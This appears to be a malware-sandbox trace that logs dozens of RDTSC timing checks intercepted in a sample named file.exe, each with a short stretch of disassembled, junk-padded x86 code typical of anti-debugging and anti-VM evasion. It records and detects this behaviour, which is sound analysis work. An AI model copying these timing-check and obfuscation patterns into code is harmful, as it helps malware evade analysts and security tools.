Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39D298 second address: 39D29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39D4C7 second address: 39D4CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39D4CD second address: 39D4D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39D4D8 second address: 39D5B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F625CDF2468h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 push dword ptr [ebp+12450D78h] 0x00000027 push 00000000h 0x00000029 push edi 0x0000002a call 00007F625CDF2468h 0x0000002f pop edi 0x00000030 mov dword ptr [esp+04h], edi 0x00000034 add dword ptr [esp+04h], 00000019h 0x0000003c inc edi 0x0000003d push edi 0x0000003e ret 0x0000003f pop edi 0x00000040 ret 0x00000041 mov dword ptr [ebp+12450E04h], ecx 0x00000047 call 00007F625CDF2469h 0x0000004c jnc 00007F625CDF2489h 0x00000052 push eax 0x00000053 jmp 00007F625CDF2474h 0x00000058 mov eax, dword ptr [esp+04h] 0x0000005c jmp 00007F625CDF2475h 0x00000061 mov eax, dword ptr [eax] 0x00000063 push ecx 0x00000064 jg 00007F625CDF2477h 0x0000006a pop ecx 0x0000006b mov dword ptr [esp+04h], eax 0x0000006f push edx 0x00000070 pushad 0x00000071 push eax 0x00000072 push edx 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39FE4C second address: 39FE62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F625CED05BCh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39FE62 second address: 39FE6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F625CDF2466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A1BFB second address: 3A1C22 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F625CED05B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F625CED05C7h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A1C22 second address: 3A1C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A1C26 second address: 3A1C2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30101 second address: 4A30162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 pushad 0x00000008 mov edx, esi 0x0000000a pushfd 0x0000000b jmp 00007F625CDF2472h 0x00000010 xor ax, 9C68h 0x00000015 jmp 00007F625CDF246Bh 0x0000001a popfd 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e jmp 00007F625CDF2476h 0x00000023 pop ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F625CDF2477h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10E5D second address: 4A10E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10E61 second address: 4A10E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10E67 second address: 4A10F03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F625CED05C2h 0x00000008 mov cx, 7CA1h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F625CED05BCh 0x00000015 push eax 0x00000016 jmp 00007F625CED05BBh 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d pushad 0x0000001e call 00007F625CED05C2h 0x00000023 pop eax 0x00000024 mov ah, dh 0x00000026 popad 0x00000027 pushfd 0x00000028 jmp 00007F625CED05BCh 0x0000002d jmp 00007F625CED05C5h 0x00000032 popfd 0x00000033 popad 0x00000034 mov ebp, esp 0x00000036 jmp 00007F625CED05BEh 0x0000003b pop ebp 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F625CED05C7h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60008 second address: 4A6000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6000C second address: 4A60010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60010 second address: 4A60016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60016 second address: 4A600C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F625CED05C4h 0x00000008 mov ah, C5h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e pushad 0x0000000f mov cx, E51Fh 0x00000013 pushfd 0x00000014 jmp 00007F625CED05C4h 0x00000019 sub ax, D688h 0x0000001e jmp 00007F625CED05BBh 0x00000023 popfd 0x00000024 popad 0x00000025 mov dword ptr [esp], ebp 0x00000028 jmp 00007F625CED05C6h 0x0000002d mov ebp, esp 0x0000002f pushad 0x00000030 call 00007F625CED05BEh 0x00000035 pushfd 0x00000036 jmp 00007F625CED05C2h 0x0000003b and si, 4B48h 0x00000040 jmp 00007F625CED05BBh 0x00000045 popfd 0x00000046 pop esi 0x00000047 mov bx, AD8Ch 0x0000004b popad 0x0000004c pop ebp 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F625CED05BEh 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F00DE second address: 49F0107 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2475h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F625CDF246Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0107 second address: 49F0123 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0123 second address: 49F0127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0127 second address: 49F012D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F012D second address: 49F0174 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2475h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F625CDF2473h 0x00000013 jmp 00007F625CDF2473h 0x00000018 popfd 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0174 second address: 49F0179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F026B second address: 49F0271 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10C14 second address: 4A10C44 instructions: 0x00000000 rdtsc 0x00000002 mov dx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007F625CED05BFh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F625CED05C5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10C44 second address: 4A10C4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10C4A second address: 4A10C7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F625CED05BFh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F625CED05C5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107A6 second address: 4A107AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107AC second address: 4A107B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107B1 second address: 4A107DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F625CDF246Ah 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e jmp 00007F625CDF246Eh 0x00000013 mov dword ptr [esp], ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107DB second address: 4A107DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107DF second address: 4A107FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2479h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107FC second address: 4A10812 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 mov cx, DEADh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1066E second address: 4A106F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2473h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F625CDF246Fh 0x00000010 mov bx, si 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F625CDF2477h 0x0000001e sub ah, 0000007Eh 0x00000021 jmp 00007F625CDF2479h 0x00000026 popfd 0x00000027 pushfd 0x00000028 jmp 00007F625CDF2470h 0x0000002d add ecx, 50D70178h 0x00000033 jmp 00007F625CDF246Bh 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A106F7 second address: 4A106FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A106FD second address: 4A10701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10701 second address: 4A10736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov bl, F4h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007F625CED05C4h 0x00000015 xor ax, AB08h 0x0000001a jmp 00007F625CED05BBh 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10736 second address: 4A10776 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F625CDF2478h 0x00000008 adc ch, 00000068h 0x0000000b jmp 00007F625CDF246Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007F625CDF246Bh 0x0000001d mov di, ax 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A201B4 second address: 4A201C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30497 second address: 4A304A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A304A6 second address: 4A3050D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F625CED05BEh 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007F625CED05C7h 0x00000019 sbb ax, 80AEh 0x0000001e jmp 00007F625CED05C9h 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3050D second address: 4A30539 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F625CDF2470h 0x00000008 sub eax, 4DB56A28h 0x0000000e jmp 00007F625CDF246Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 movzx esi, bx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30539 second address: 4A3057A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F625CED05BDh 0x0000000d mov ebp, esp 0x0000000f jmp 00007F625CED05BEh 0x00000014 mov eax, dword ptr [ebp+08h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F625CED05C7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3057A second address: 4A30580 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30580 second address: 4A30584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30584 second address: 4A3059B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax], 00000000h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F625CDF246Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3059B second address: 4A305AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F625CED05BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A305AD second address: 4A305CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax+04h], 00000000h 0x0000000c pushad 0x0000000d jmp 00007F625CDF246Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A105BF second address: 4A105C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A105C5 second address: 4A105C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30015 second address: 4A30084 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F625CED05BEh 0x0000000f push eax 0x00000010 jmp 00007F625CED05BBh 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F625CED05C4h 0x0000001d sbb cl, FFFFFF88h 0x00000020 jmp 00007F625CED05BBh 0x00000025 popfd 0x00000026 mov dx, ax 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F625CED05C1h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30084 second address: 4A300A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2471h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F625CDF246Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A300A9 second address: 4A300B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30262 second address: 4A302BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F625CDF246Bh 0x00000009 and eax, 040E45FEh 0x0000000f jmp 00007F625CDF2479h 0x00000014 popfd 0x00000015 call 00007F625CDF2470h 0x0000001a pop esi 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push eax 0x0000001f pushad 0x00000020 push eax 0x00000021 mov esi, edi 0x00000023 pop edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F625CDF2472h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A302BF second address: 4A30311 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F625CED05C9h 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F625CED05C1h 0x00000019 add ecx, 32A99DA6h 0x0000001f jmp 00007F625CED05C1h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5078D second address: 4A5081D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF2471h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ecx, 0FA82A93h 0x00000010 mov si, DCEFh 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 mov ch, dl 0x00000019 pushfd 0x0000001a jmp 00007F625CDF246Ch 0x0000001f add ch, 00000018h 0x00000022 jmp 00007F625CDF246Bh 0x00000027 popfd 0x00000028 popad 0x00000029 xchg eax, ebp 0x0000002a pushad 0x0000002b push eax 0x0000002c pushfd 0x0000002d jmp 00007F625CDF246Bh 0x00000032 sub ax, 43DEh 0x00000037 jmp 00007F625CDF2479h 0x0000003c popfd 0x0000003d pop ecx 0x0000003e mov dx, 4754h 0x00000042 popad 0x00000043 mov ebp, esp 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F625CDF2476h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5081D second address: 4A50839 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 221FFFB4h 0x00000008 movsx edx, cx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F625CED05BBh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50839 second address: 4A5085C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F625CDF246Fh 0x00000008 mov si, E75Fh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 mov dx, si 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5085C second address: 4A5087C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 81BAh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F625CED05C3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5087C second address: 4A508C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 323E651Ah 0x00000008 pushfd 0x00000009 jmp 00007F625CDF246Bh 0x0000000e or si, FEBEh 0x00000013 jmp 00007F625CDF2479h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov eax, dword ptr [76FB65FCh] 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F625CDF246Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A508C6 second address: 4A508D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F625CED05BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A508D6 second address: 4A5092F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test eax, eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f pushfd 0x00000010 jmp 00007F625CDF246Bh 0x00000015 sbb ch, 0000002Eh 0x00000018 jmp 00007F625CDF2479h 0x0000001d popfd 0x0000001e pop eax 0x0000001f mov dh, 90h 0x00000021 popad 0x00000022 je 00007F62CF2D54B4h 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F625CDF246Fh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5092F second address: 4A50935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50935 second address: 4A50939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50939 second address: 4A509BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a jmp 00007F625CED05C7h 0x0000000f xor eax, dword ptr [ebp+08h] 0x00000012 jmp 00007F625CED05BFh 0x00000017 and ecx, 1Fh 0x0000001a jmp 00007F625CED05C6h 0x0000001f ror eax, cl 0x00000021 jmp 00007F625CED05C0h 0x00000026 leave 0x00000027 jmp 00007F625CED05C0h 0x0000002c retn 0004h 0x0000002f nop 0x00000030 mov esi, eax 0x00000032 lea eax, dword ptr [ebp-08h] 0x00000035 xor esi, dword ptr [00102014h] 0x0000003b push eax 0x0000003c push eax 0x0000003d push eax 0x0000003e lea eax, dword ptr [ebp-10h] 0x00000041 push eax 0x00000042 call 00007F6261860EA1h 0x00000047 push FFFFFFFEh 0x00000049 pushad 0x0000004a mov dl, al 0x0000004c mov eax, edx 0x0000004e popad 0x0000004f pop eax 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A509BA second address: 4A509BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A509BE second address: 4A509CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CED05BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A509CC second address: 4A509E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F625CDF246Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b push eax 0x0000000c call 00007F6261782D7Bh 0x00000011 mov edi, edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A509E4 second address: 4A509E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A509E8 second address: 4A509EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A509EC second address: 4A509F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A509F2 second address: 4A50A0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F625CDF2479h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50A0F second address: 4A50A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
